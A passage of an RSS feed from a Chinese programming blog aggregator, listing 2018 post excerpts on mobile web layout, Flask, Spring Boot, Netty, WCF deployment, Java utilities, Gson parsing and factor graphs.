      <link>https://bchobby.github.io/posts/c647912789247253948fa898ac50aaf2/</link>
      <pubDate>Tue, 06 Nov 2018 15:17:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c647912789247253948fa898ac50aaf2/</guid>
      <description>在用mui做账号绑定的页面时，当软键盘被调起时，就会出现底部绝对定位的背景图被“推上来”。&#xA;来两张效果图。&#xA;图1是键盘没有被调起时的页面。&#xA;图2是键盘调起之后，被挤压的背景图。（小米手机截屏时不会截取到软键盘，只好手机辅助拍照了。?）&#xA;图1&#xA;经过解决之后的。如图3所示，不再将页面底部推上去。整体页面也不会受到挤压。&#xA;&amp;lt;!--防止软键盘调起时，底部内容随之挤上来--&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; //获取原始窗口的高度 var originalHeight = document.documentElement.clientHeight || document.body.clientHeight; window.onresize = function() { //软键盘弹起与隐藏 都会引起窗口的高度发生变化 var resizeHeight = document.documentElement.clientHeight || document.body.clientHeight; if(resizeHeight * 1 &amp;lt; originalHeight * 1) { //resizeHeight&amp;lt;originalHeight证明窗口被挤压了 plus.webview.currentWebview().setStyle({ height: originalHeight }); } } &amp;lt;/script&amp;gt; 备注：从网上参考大牛的解决办法，感觉受益匪浅，一种解决问题的思想很重要。</description>
    </item>
    <item>
      <title>syslog日志系统——框架选型</title>
      <link>https://bchobby.github.io/posts/6d215a0ab6c3b09a531df4c242ae837b/</link>
      <pubDate>Tue, 06 Nov 2018 12:27:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d215a0ab6c3b09a531df4c242ae837b/</guid>
      <description>syslog日志系统——框架选型 sysog概述 syslog日志系统主要作用是采集有价值的日志信息，然后进行日志的汇总以及数据分析，最后展现分析结果报告为决策提供数据支撑。&#xA;本系列文章将逐一讲述syslog日志系统的设计与开发思路。&#xA;syslog的开发环境 IDEA：同时进行前端、后端编码，功能强大的开发利器。&#xA;项目类型：用IDEA建立java spring boot项目。&#xA;TypeScript：这个是可选的配置，利用TypeScript严谨的语法能编写生成高质量的js类库。&#xA;syslog的框架选型 layui syslog是后台系统，layui的设计理念比较适合开发后台管理系统界面，而且使用简单，文档齐全。&#xA;官网：https://www.layui.com/&#xA;echarts 实现syslog的图表功能，echarts图表框架提供丰富的图表种类，功能完善齐全。&#xA;官网：http://echarts.baidu.com/&#xA;spring boot 利用Spring框架的强大功能，对代码的质量，代码简化，代码可维护性等，起到重要的作用。&#xA;swagger swagger框架规范了接口的标准，并提供接口文档化和接口调用的界面支持。&#xA;这个框架为前后端开发分离提供重要的支持，接口可测试调用，前端页面只需通过ajax进行数据的交互。</description>
    </item>
    <item>
      <title>Netty 100万级高并发服务器配置</title>
      <link>https://bchobby.github.io/posts/4aef3aeb05b3b6e4e3f4202203149f86/</link>
      <pubDate>Mon, 05 Nov 2018 22:26:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4aef3aeb05b3b6e4e3f4202203149f86/</guid>
      <description>文章很长，建议收藏起来，慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源：&#xA;疯狂创客圈 经典图书 ： 《Netty Zookeeper Redis 高并发实战》 面试必备 + 大厂必备 + 涨薪必备疯狂创客圈 经典图书 ： 《SpringCloud、Nginx高并发核心编程》 面试必备 + 大厂必备 + 涨薪必备疯狂创客圈 价值1000元 百度网盘资源大礼包 随便取 GO-&amp;gt;【博客园总入口 】独孤九剑 Netty灵魂实验 ： 本地 100W连接 高并发实验，瞬间提升Java内力 文章目录 价值连城：2021春招月薪过5万 面试题 系列万字长文： 疯狂创客圈 springCloud 高并发系列前言测试服务器配置测试端服务器程序入口HttpChunkedServer.java：唯一的自定义处理器HttpChunkedServerHandler.java:启动脚本start.sh 达到100万并发连接时的一些信息GC日志小结 价值连城：2021春招月薪过5万 面试题 系列 搞定下面这些面试题，2021春招月薪过5万(猛！)阿里、京东、美团、头条… 随意挑、横着走！！！Java基础1： JVM面试题（史上最强、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14365820.html2：Java基础面试题（史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14366081.html3：死锁面试题（史上最强、持续更新）[https://www.cnblogs.com/crazymakercircle/p/14323919.html]4：设计模式面试题 （史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14367101.html5：架构设计面试题 （史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14367907.html还有 10 几篇 篇价值连城 的面试题具体… 请参见【 疯狂创客圈 高并发 总目录 】 万字长文： 疯狂创客圈 springCloud 高并发系列 springCloud 高质量 博文 nacos 实战（史上最全） sentinel （史上最全+入门教程） springcloud + webflux 高并发实战 Webflux（史上最全） SpringCloud gateway （史上最全）还有 10 几篇 万字长文 的高质量 博文具体… 请参见【 疯狂创客圈 高并发 总目录 】 前言 每一种该语言在某些极限情况下的表现一般都不太一样，那么我常用的Java语言，在达到100万个并发连接情况下，会怎么样呢，有些好奇，更有些期盼。</description>
    </item>
    <item>
      <title>form表格提交post请求，到后端变成了get请求，这个坑怎么填？！</title>
      <link>https://bchobby.github.io/posts/bdb1287cb0237a1b91813828a7537ffb/</link>
      <pubDate>Mon, 05 Nov 2018 20:32:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdb1287cb0237a1b91813828a7537ffb/</guid>
      <description>前端的post请求到后端变成了get请求，什么鬼？ 本人在编写flask服务器项目过程中，需要从前端接收用户的登录信息，将用户信息保存进session和cookie中。&#xA;后端代码如下：&#xA;@app.route(&#39;/login&#39;,methods=[&#39;GET&#39;,&#39;POST&#39;]) def login_views(): if request.method == &#39;GET&#39;: # 判断是否已经在登录状态:session中是否有uname值 if &#39;uname&#39; in session: # 已经登录成功，直接去首页 return redirect(&#39;/&#39;) else: # 未在登录状态，继续判断cookie if &#39;uname&#39; in request.cookies: # 曾经记录过用户，取出值，保存进session uname = request.cookies[&#39;uname&#39;] session[&#39;uname&#39;] = uname return redirect(&#39;/&#39;) else: # 去往登录页 return render_template(&#39;login.html&#39;) else: # 先处理登录，登录成功回首页；否则回登录页面。 uname = request.form.get(&#39;uname&#39;) upwd = request.form.get(&#39;upwd&#39;) print(&#39;********************&#39;) print(uname) print(upwd) print(&#39;********************&#39;) if uname == &#39;admin&#39; and upwd == &#39;admin&#39;: # 声明重定向首页的对象 resp = redirect(&#39;/&#39;) # 登录成功 # 先将数据保存近session session[&#39;uname&#39;] = uname # 是否要记住密码 if &#39;isSaved&#39; in request.</description>
    </item>
    <item>
      <title>Go语言Web开发Beego框架深入浅出</title>
      <link>https://bchobby.github.io/posts/fd8c3fbf3fc987c24f6a0228ceaa019b/</link>
      <pubDate>Mon, 05 Nov 2018 16:50:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd8c3fbf3fc987c24f6a0228ceaa019b/</guid>
      <description>课程目录： ├─day1 │ 1.环境搭建 │ 2.beego框架的分析 │ 3.简单的路由设置 │ 4.正则路由设置 │ 5.路由设置 │ 6.orm环境搭建 │ 7.orm的插入和查找 │ 8.删除和更新 │ 9.多级查询 │ ├─day2 │ 1.昨天回顾及静态资源路径设置 │ 10.错误码文件 │ 11.session设置 │ 12.删除Sesssion │ 2.开发环境搭建 │ 3.路径的截取 │ 4.创建数据库 │ 5.导入area数据 │ 6.显示area数据 │ 7.显示登陆注册按钮 │ 8.注册代码实现 │ 9.session介绍 │ ├─day3 │ └─3-视频 │ 1.昨日回顾 │ 10.头像上传代码 │ 11.上传头像业务分析 │ 12.上传头像代码完善 │ 2.登陆业务流程分析 │ 3.登录代码 │ 4.redis的使用 │ 5.redis配置问题的解决 │ 6.Session模块集成 │ 7.</description>
    </item>
    <item>
      <title>wcf服务发布到windows Server2008服务器上</title>
      <link>https://bchobby.github.io/posts/fba650fcb1c654baaf2d606762f82397/</link>
      <pubDate>Sun, 04 Nov 2018 22:18:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fba650fcb1c654baaf2d606762f82397/</guid>
      <description>头一次接触wcf这种东西，说起来简单也不简单，简单之处让你写wcf服务和写简单的接口没有什么很大的区别，在接口上添加上契约就OK了，关键在于它的wcf配置文件，目前还很头大。如果不理解wcf服务是什么，你就简单的认为它就是一个接口（interface），然后它可以放到IIS上发布，让客户端可以调用到这个wcf服务（接口）。在winserver2008服务器上部署到IIS时，出现了很多问题。&#xA;首先，服务器是一个全新的，什么扩展都没有装。我们第一个要装的功能是IIS，只要这一个，其它都不要。（千万不要装 .net Framework3.5.1功能！）&#xA;然后依次需要装net framework 4.0、net framework 4.5 、net framework 4.5.2 ，4.5.2装的时候非常慢，需要很长时间，并不是服务器卡了，一定要耐心的等待它装完。&#xA;因为我的wcf服务用到了mysql ，所以我还需要装上mysql-connetctor-net-6.8.7 。&#xA;最后因为是一个新的服务器环境，所以第一次打开iis功能，还需要重新进行一些注册。以管理员的身份打开cmd，输入以下命令：&#xA;cd C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319 aspnet_regiis.exe -i cd C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319 ServiceModelReg.exe -r 这样环境就搭建好了，后面的操作就和部署普通的网站是一样的了，不过这个需要自己在IIS的“默认文档”中添加一下。</description>
    </item>
    <item>
      <title>问题：数据库自动提交 autoCommit = true与@Transactional注解的问题？</title>
      <link>https://bchobby.github.io/posts/8a0847cf1b6d4c373fac1764b8e656ad/</link>
      <pubDate>Fri, 02 Nov 2018 17:27:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a0847cf1b6d4c373fac1764b8e656ad/</guid>
      <description>遇到一个问题： 我的数据库连接池，设置的autoCommit = true然后在一个方法上，我又加了@Transactional注解，Spring执行到一个方法，扫描到@Transactional注解后，会自动执行Spring事务管理器，事务管理器会把当前获得的数据库连接对象conn的autoCommit给设置成false.那么问题来了：当执行完这个方法后，Spring还会把这个数据库连接对象设置回autoCommit = true吗？&#xA;答案：会</description>
    </item>
    <item>
      <title>Java压缩zip工具类</title>
      <link>https://bchobby.github.io/posts/ce18a1295a7343539f62917ddd131ed2/</link>
      <pubDate>Fri, 02 Nov 2018 17:05:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce18a1295a7343539f62917ddd131ed2/</guid>
      <description>“云散月明谁点缀，天容海色本澄清”&#xA;在这里记录一次压缩文件和解压的代码：亲测可用。&#xA;import java.io.*; import java.nio.charset.Charset; import java.util.Enumeration; import java.util.List; import java.util.zip.ZipEntry; import java.util.zip.ZipFile; import java.util.zip.ZipOutputStream; /** * @author aRunner * @date 2018/11/1 * zip压缩工具类 */ public class ZipUtils { private static final int BUFFER_SIZE = 2 * 1024; /** * 压缩成ZIP 方法1 * @param srcDir 压缩文件夹路径 * @param out 压缩文件输出流 * @param KeepDirStructure 是否保留原来的目录结构,true:保留目录结构; * false:所有文件跑到压缩包根目录下(注意：不保留目录结构可能会出现同名文件,会压缩失败) * @throws RuntimeException 压缩失败会抛出运行时异常 */ public static void toZip(String srcDir, OutputStream out, boolean KeepDirStructure) throws RuntimeException{ long start = System.</description>
    </item>
    <item>
      <title>the flask mega tutorial：在vscode中的配置</title>
      <link>https://bchobby.github.io/posts/89b6b504f54676cebd4c663c731164f0/</link>
      <pubDate>Fri, 02 Nov 2018 15:50:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89b6b504f54676cebd4c663c731164f0/</guid>
      <description> 学习了the flask mega tutorial，在pycharm中可快速配置启动，不需要在cmd中每次一步一步的重复操作，可以直接运行。&#xA;一、配置launch.json 在学了vscode后，突然想用此软件实现同样的功能，在网络上百度了几篇，重复着操作，试着配置一下，开始就是会报错：&#xA;Error: Could not import “G”.&#xA;一开始的配置如下：&#xA;launch.json&#xA;&#34;configurations&#34;: [ { &#34;name&#34;: &#34;Python: Flask&#34;, &#34;type&#34;: &#34;python&#34;, &#34;request&#34;: &#34;launch&#34;, &#34;module&#34;: &#34;flask&#34;, &#34;env&#34;: { &#34;FLASK_APP&#34;: &#34;${workspaceRoot}/microblog.py&#34; }, &#34;args&#34;: [ &#34;run&#34;, &#34;--no-debugger&#34;, &#34;--no-reload&#34; ], &#34;jinja&#34;: true, &#34;envFile&#34;: &#34;${workspaceRoot}/.env&#34;, &#34;stopOnEntry&#34;: false, } ] } 后边又在网络上找了半天，终于解决了这个问题：&#xA;很简单，就是修改一个地方即可：&#xA;&#34;FLASK_APP&#34;: &#34;microblog.py&#34; # ${workspaceRoot}/ 请把这个删除。 如果要运行教程中其他的命令，例如：flask migrate。&#xA;只需要在&#34;args&#34;中做相应调整就OK了。&#xA;二、settings 这个貌似自动生成，不要自己设置。&#xA;{ &#34;python.pythonPath&#34;: &#34;venv\\Scripts\\python.exe&#34; } </description>
    </item>
    <item>
      <title>python获取网页header头部信息（python小白学习笔记二）</title>
      <link>https://bchobby.github.io/posts/cbd7a00d5f9ceb0010210ccfbdcf0997/</link>
      <pubDate>Fri, 02 Nov 2018 11:47:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbd7a00d5f9ceb0010210ccfbdcf0997/</guid>
      <description>方法一：代码查看 通过python获取网页的链接url，返回码，以及相关的信息&#xA;#对反爬虫网页，可以设置一些headers信息，模拟成浏览器取访问网站 import urllib.request url=&#34;https://www.baidu.com/&#34; file=urllib.request.urlopen(url) print(&#39;获取当前url:&#39;,file.geturl() ) print(&#39;file.getcode,HTTPResponse类型:&#39;,file.getcode ) print(&#39;file.info 返回当前环境相关的信息：&#39; ,file.info()) 输出结果：&#xA;D:\工具\pythonTools\CatchTest1101\venv\Scripts\python.exe D:/工具/pythonTools/CatchTest1101/venv/test/test110204.py 获取当前url: https://www.baidu.com/ file.getcode,HTTPResponse类型: &amp;lt;bound method HTTPResponse.getcode of &amp;lt;http.client.HTTPResponse object at 0x00000264C14A4940&amp;gt;&amp;gt; file.info 返回当前环境相关的信息： Accept-Ranges: bytes Cache-Control: no-cache Content-Length: 227 Content-Type: text/html Date: Fri, 02 Nov 2018 03:01:23 GMT Etag: &#34;5bd7d86c-e3&#34; Last-Modified: Tue, 30 Oct 2018 04:05:00 GMT P3p: CP=&#34; OTI DSP COR IVA OUR IND COM &#34; Pragma: no-cache Server: BWS/1.1 Set-Cookie: BD_NOT_HTTPS=1; path=/; Max-Age=300 Set-Cookie: BIDUPSID=ED1C1F4FD9C3CBA5268DC8CB64DEEA6C; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.</description>
    </item>
    <item>
      <title>Java中的substring截取字符串方法</title>
      <link>https://bchobby.github.io/posts/efa9559d5cc7be4c7a312ee4c919ad17/</link>
      <pubDate>Fri, 02 Nov 2018 10:19:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efa9559d5cc7be4c7a312ee4c919ad17/</guid>
      <description>1. 问题描述 在处理字符串的过程中有很多情况下会遇到需要截取字符串的情况，这个时候使用Java中提供的substring方法来截取就非常方便了&#xA;2. 其中比较经常使用到的方法有两个：&#xA;① public String substring(int beginIndex)&#xA;这个方法截取的字符串是从索引beginIndex开始的，到整个字符串的末尾，例如：字符串String s = &#34;abcdef&#34;;&#xA;调用s.substring(2)表示从字符串的索引2开始截取到整个字符串结束，截取的字符串为cdef&#xA;② public String substring(int beginIndex, int endIndex)&#xA;这个方法截取的字符串从beginIndex开始，到字符串索引的endIndex - 1结束，即截取的字符串不包括endIndex这个索引对应的字符，所以endIndex的最大值为整个字符串的长度，所以使用这个方法的时候需要特别注意容易发生字符串截取越界的问题&#xA;3. 下面是具体的代码：&#xA;import java.util.Scanner; public class Main { public static void main(String[] args) { Scanner sc = new Scanner(System.in); String s = sc.nextLine(); System.out.println(s.substring(0, 2)); System.out.println(s.substring(2)); sc.close(); } } 从控制台输入：saahdfasgfdga</description>
    </item>
    <item>
      <title>fopen/fwrite写文件例子</title>
      <link>https://bchobby.github.io/posts/c3fa204bd07872ce66b5929662ea2e96/</link>
      <pubDate>Thu, 01 Nov 2018 17:58:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3fa204bd07872ce66b5929662ea2e96/</guid>
      <description>对于fopen和open的区别可参考https://www.cnblogs.com/hnrainll/archive/2011/09/16/2178706.html&#xA;https://blog.csdn.net/kaiandshan/article/details/43226529&#xA;https://www.cnblogs.com/NickyYe/p/5497659.html&#xA;当遇到MFC工程里要数据保存到本地时，如果以前没接触MFC，想使用fopen/fwrite，而不想去查一大堆Windows API的东西，头都要大。牵扯到CString和string以及char*的转换，烦。&#xA;看看：FILE * fopen(const char * path, const char * mode); fopen的参数类型是char*，但你能获取的路径信息只能是CString&#xA;类型转换可参考：https://www.cnblogs.com/bluestorm/p/3168720.html&#xA;https://www.cnblogs.com/maowang1991/p/3570328.html&#xA;就这样转来转去，严重影响进度。&#xA;下面先来个小例子&#xA;void CStrTestDlg::OnOK() { // TODO: Add extra validation here int j = 100; while(1) { if(j &amp;gt; 115) j = 100; int i; FILE *fp = NULL; CString str; str.Format(&#34;%d&#34;,j++); CString path = &#34;C:\\datatemp\\&#34;+ str + &#34;.txt&#34;;//路径 char* pFileName = path.GetBuffer(path.GetLength()+1); fp = fopen(pFileName, &#34;w+&#34;); if (NULL != fp) { for (i = 0; i &amp;lt; 15; i++) { char s[32] = {0}; sprintf(s,&#34;</description>
    </item>
    <item>
      <title>因子图与和积算法</title>
      <link>https://bchobby.github.io/posts/094aced5ce4e2a4637d84f3078d43512/</link>
      <pubDate>Thu, 01 Nov 2018 16:01:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/094aced5ce4e2a4637d84f3078d43512/</guid>
      <description>在1981年Tanner的论文中，介绍了一种可以用来表示码字的图形，称为Tanner图。 Tanner图包含两类节点：码元（变量）节点和校验节点，然后通过边连接这两种不同的节点，并且同种节点间不能有直接的边连接。如果给定一个码字的码元数和它的校验方程，则用Tanner图可以唯一地确定该码字。例如一个（7, 3）线性分组码，其校验方程为：&#xA;在用Tanner图表示的过程中， 码的译码算法是可以用明确的公式反映并可程式化进行， 即有很强的可实现性。Tanner图从本质上讲是用码字的校验方程来表述码字&#xA;消息传递算法 和 积 算 法 (Sum-Product Algorithm) 作 为 一 种 通 用 的 消 息 传 递 算 法(Message Passing Algorithm)， 描述了因子图中顶点（变量节点和校验节点） 处的信息计算公式， 而在基于图的编译码系统中， 我们首先需要理解的是顶点之间是如何通过边来传递信息。&#xA;例如， 若干士兵排成一队列， 每个士兵只能与他相邻的士兵交流， 问如何才能使每个士兵都知道总的士兵数？&#xA;将上面的情况抽象成一般模型，如下图所示，图中每个点可看作是一个士兵，对应到编码理论中则可看作因子图中对应的节点（如前述的变量节点和校验节点，或卷积码的BCJR算法中的状态点）。 对应上图， 引入几个概念： 先验信息P、 外信息E以及后验信息A。 在上例中， 先验信息P表示每个士兵自身的数字1， 如图（a） 所示；外信息E表示从其他相邻的士兵获取的信息， 如图（c） 所示， 即每个士兵的外信息均为5；后验信息A＝P＋E， 在这里表示队列的总人数， 即为6。 从图中可以看出， 得到最后的结果是通过前向计算和后向计算得到的。 从图中可以看出，经过5步计算第3、第4个士兵可以得到总人数6(5+1)，经过6步计算第2、第5个士兵可以得到总人数，经过7步计算所有士兵均知道了总人数。 问题：如果士兵不是按照队列排列，怎么办呢？ 该图(a)与前图不同之处在于， 有些士兵不止有2个相邻的士兵， 可能有3个或更多。 具体信息传递流程如图(b)所示。 每个士兵同样可以获得其相邻士兵给他的外信息， 同时加上自身的信息然后传递给相邻的士兵。在上面的两个例子中， 每个士兵节点的信息只需在所有其相邻节点上进行一次前向和后向的计算， 则每个士兵就可知道总人数。 这样的图有一个共同特点：所有节点构成一棵树， 而树结构中是没有环路的。 如果有环路， 会导致什么结果？&#xA;由于有环路的存在， 如果用上述信息更新方法来确定总人数， 将会导致无法确定何时中止信息的传递， 因此也就无法确定士兵人数。 对应到编码理论， 则在设计LDPC码的校验矩阵时， 应尽量避免校验矩阵对应的因子图中出现短环（如4循环、 6循环、 8循环等） 。</description>
    </item>
    <item>
      <title>错误：Required String parameter &#39;orderNo&#39; is not present</title>
      <link>https://bchobby.github.io/posts/376de1e31ded6a41c94033455d6118e1/</link>
      <pubDate>Thu, 01 Nov 2018 08:43:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/376de1e31ded6a41c94033455d6118e1/</guid>
      <description> 解决办法： 上面画线处加上：&#xA;required=false </description>
    </item>
    <item>
      <title>JavaScript-JS是什么，有什么用</title>
      <link>https://bchobby.github.io/posts/c50629864320608865d2d309202a3d9c/</link>
      <pubDate>Tue, 30 Oct 2018 20:15:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c50629864320608865d2d309202a3d9c/</guid>
      <description> JavaScript简称为js，是运行在浏览器上的脚本语言，连续多年被评为全球最受欢迎的编程语言。 js可以做什么呢？ 1，使网页具有交互性，例如响应用户点击，给用户提供更好的体验 2，可以处理表单，检验用户的输入，并提供及时反馈节省用户时间。例如，表单中要你输入电子邮箱而你却输入一个手机号，那么应该给你一个提醒。 3，还可以根据用户的操作，动态的创建页面。例如，发邮件时，添加附件操作。 4，设置cookie，cookie是存储在浏览器上的一些临时信息，例如你浏览过的网站地址，使用过的用户名 </description>
    </item>
    <item>
      <title>Qt: XKEYBOARD extension not present on the X server.的解决方法</title>
      <link>https://bchobby.github.io/posts/fc9d7e4b2a37d07271bb3b47e2c634b5/</link>
      <pubDate>Tue, 30 Oct 2018 19:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc9d7e4b2a37d07271bb3b47e2c634b5/</guid>
      <description>最近在服务器上用qtcreator改代码，发现无法用键盘键入任何东西，然后发现在终端会报出这样一行东西：&#xA;Qt: XKEYBOARD extension not present on the X server. 查了很多东西，发现这就是问题所在。&#xA;至于怎么改，有说要改.bashrc的，具体需要添加以下两行代码：&#xA;export XKB_DEFAULT_RULES=base export QT_XKB_CONFIG_ROOT=/usr/share/X11/xkb 但是这样改了之后还是会出现最初的错误，简直炸裂。最终发现是因为xmanager的设置问题，需要修改以下设置：&#xA;Xconfig-&amp;gt;Default Profile-&amp;gt;Properties-&amp;gt;Advanced-&amp;gt;X Extensions-&amp;gt; check the &#39;XKEYBOARD&#39; 简而言之，就是需要勾选XKEYBOARD这个扩展项。&#xA;这两步，应该是都需要的，但是我没有实验，有心人可以试试只改一个地方ok不。</description>
    </item>
    <item>
      <title>使用Gson解析复杂的json数据</title>
      <link>https://bchobby.github.io/posts/aadca827b9ed8ce2d4e5e8099cb67948/</link>
      <pubDate>Tue, 30 Oct 2018 15:15:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aadca827b9ed8ce2d4e5e8099cb67948/</guid>
      <description>我们app接口数据返回通常是以下格式：&#xA;{“code”:“0000”,“data”: {“code”:“0002”,“resultData”:null,“resultMsg”:“用户Token过期,请重新登入”,“error”:[],“msg”:&#34;&#34;}&#xA;把以上的json数据放在线JSON字符串转Java实体类(JavaBean)网址（http://www.bejson.com/json2javapojo/new/）上生成下面的Java实体类：&#xA;public class JsonRootBean {&#xA;private String code; private Data data; private List&amp;lt;String&amp;gt; error; private String msg; public void setCode(String code) { this.code = code; } public String getCode() { return code; } public void setData(Data data) { this.data = data; } public Data getData() { return data; } public void setError(List&amp;lt;String&amp;gt; error) { this.error = error; } public List&amp;lt;String&amp;gt; getError() { return error; } public void setMsg(String msg) { this.</description>
    </item>
    <item>
      <title>spring boot security jwt 整合vue-admin-template</title>
      <link>https://bchobby.github.io/posts/242032b30e1b101f8f9ef13e1d7f5551/</link>
      <pubDate>Tue, 30 Oct 2018 11:56:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/242032b30e1b101f8f9ef13e1d7f5551/</guid>
      <description>spring boot security jwt 整合vue-admin-template 首先感谢PanJiaChen 的 vue-admin-template 模板，我是一名java程序员，所以前端的技术不怎么样。vue.js也只是会用一点，非常感谢PanJiaChen 的模板支持。&#xA;已经整合好的模板地址：https://github.com/thousmile/...&#xA;如果大家觉得写的不错，就请点亮我GitHub的心心。非常感谢！&#xA;如果大家在搭建过程中遇到问题，欢迎找我&#xA;GitHub ： https://github.com/thousmile&#xA;码云： https://gitee.com/thousmile&#xA;QQ: 932560435&#xA;先从数据库开始 大部分的权限管理系统都是5张表结构（同样我们这里也采用这种方式）&#xA;t_sys_user -----&amp;gt; t_sys_user_role -----&amp;gt; t_sys_role -----&amp;gt; t_sys_role_permission ----&amp;gt; t_sys_permission 这里我们主要看权限表（t_sys_permission ）&#xA;最重要的就是resources和type字段，这两个字段在后面和vue.js整合的时候会用到，&#xA;type字段，只有两个类型，是按钮还是菜单 下面开始spring boot 工程的搭建 POM文件的主要依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.3.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.pagehelper&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;pagehelper-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-configuration-processor&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>springboot中设置pageSize的默认值</title>
      <link>https://bchobby.github.io/posts/0e1ef482ad6c6756641ece653bff55c1/</link>
      <pubDate>Tue, 30 Oct 2018 10:53:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e1ef482ad6c6756641ece653bff55c1/</guid>
      <description>springboot中设置pageSize的默认值 方式一、使用@PageableDefault注解 可以在形参上使用@PageableDefault注解指定默认的page和size&#xA;@GetMapping(value=&#34;/list&#34;) public String list(@PageableDefault(page=0, size=15)Pageable pageable) { return &#34;list&#34;; } 但是这种方式比较麻烦，需要在很多controller上都加上@PageableDefault(page=0, size=15)&#xA;方式二、统一处理 通过WebMvcConfigurerAdapte设置默认的size&#xA;1.appliation.properties配置文件中加入以下配置 # 设置pageable中的pagesize的默认值 pageable.page.size=15 2.在WebMvcConfigurerAdapter类中重写addArgumentResolvers()方法 package com.blog.personalblog.config; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Configuration; import org.springframework.data.domain.PageRequest; import org.springframework.data.web.PageableHandlerMethodArgumentResolver; import org.springframework.web.method.support.HandlerMethodArgumentResolver; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; import java.util.List; @Configuration public class WebMvcConfig extends WebMvcConfigurerAdapter { @Value(&#34;${pageable.page.size}&#34;) private Integer pageSize; /** * 设置分页时默认的每一页数据量 * @param argumentResolvers */ @Override public void addArgumentResolvers(List&amp;lt;HandlerMethodArgumentResolver&amp;gt; argumentResolvers) { PageableHandlerMethodArgumentResolver resolver = new PageableHandlerMethodArgumentResolver(); resolver.</description>
    </item>
    <item>
      <title>静电放电（ESD）知识小记</title>
      <link>https://bchobby.github.io/posts/931c80fec2a6043701c9ec8635269be2/</link>
      <pubDate>Mon, 29 Oct 2018 15:57:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/931c80fec2a6043701c9ec8635269be2/</guid>
